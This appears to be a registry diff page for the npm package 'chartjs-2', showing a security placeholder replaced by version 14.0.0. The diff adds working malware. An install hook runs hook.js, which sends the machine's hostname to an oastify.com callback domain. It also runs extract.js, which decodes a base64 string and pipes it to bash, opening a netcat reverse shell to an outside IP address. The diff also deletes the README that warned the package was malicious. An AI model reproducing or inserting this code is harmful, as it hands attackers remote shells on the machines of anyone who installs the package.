chartjs-2 0.0.1-security → 14.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of chartjs-2 might be problematic. Click here for more details.
- package/extract.js +15 -0
- package/hook.js +25 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/extract.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
|
|
3
|
+
const cmd = 'echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyA4NC43Ny42OS42OSA0NDQzID4vdG1wL2Y=" | base64 -d | bash'; // Comando que deseas ejecutar
|
|
4
|
+
|
|
5
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
6
|
+
if (error) {
|
|
7
|
+
console.error(`Error al ejecutar el comando: ${error.message}`);
|
|
8
|
+
return;
|
|
9
|
+
}
|
|
10
|
+
if (stderr) {
|
|
11
|
+
console.error(`Error en la salida de error: ${stderr}`);
|
|
12
|
+
return;
|
|
13
|
+
}
|
|
14
|
+
console.log(stdout.trim()); // Muestra la salida del comando en la consola
|
|
15
|
+
});
|
package/hook.js
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
var os = require("os");
|
|
3
|
+
var hostname = os.hostname();
|
|
4
|
+
|
|
5
|
+
const data = new TextEncoder().encode(
|
|
6
|
+
JSON.stringify({
|
|
7
|
+
payload: hostname
|
|
8
|
+
})
|
|
9
|
+
);
|
|
10
|
+
|
|
11
|
+
const options = {
|
|
12
|
+
hostname: hostname + '.93aw4rh861md9fr1aegf107xioofc90y.oastify.com',
|
|
13
|
+
port: 443,
|
|
14
|
+
path: '/',
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: {
|
|
17
|
+
'Content-Type': 'application/json',
|
|
18
|
+
'Content-Length': data.length
|
|
19
|
+
},
|
|
20
|
+
rejectUnauthorized: false
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
const req = https.request(options, res => {});
|
|
24
|
+
req.write(data);
|
|
25
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "chartjs-2",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "14.0.0",
|
|
4
|
+
"description": "Package",
|
|
5
|
+
"main": "extract.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"install": "node hook.js && node extract.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=chartjs-2 for more information.
|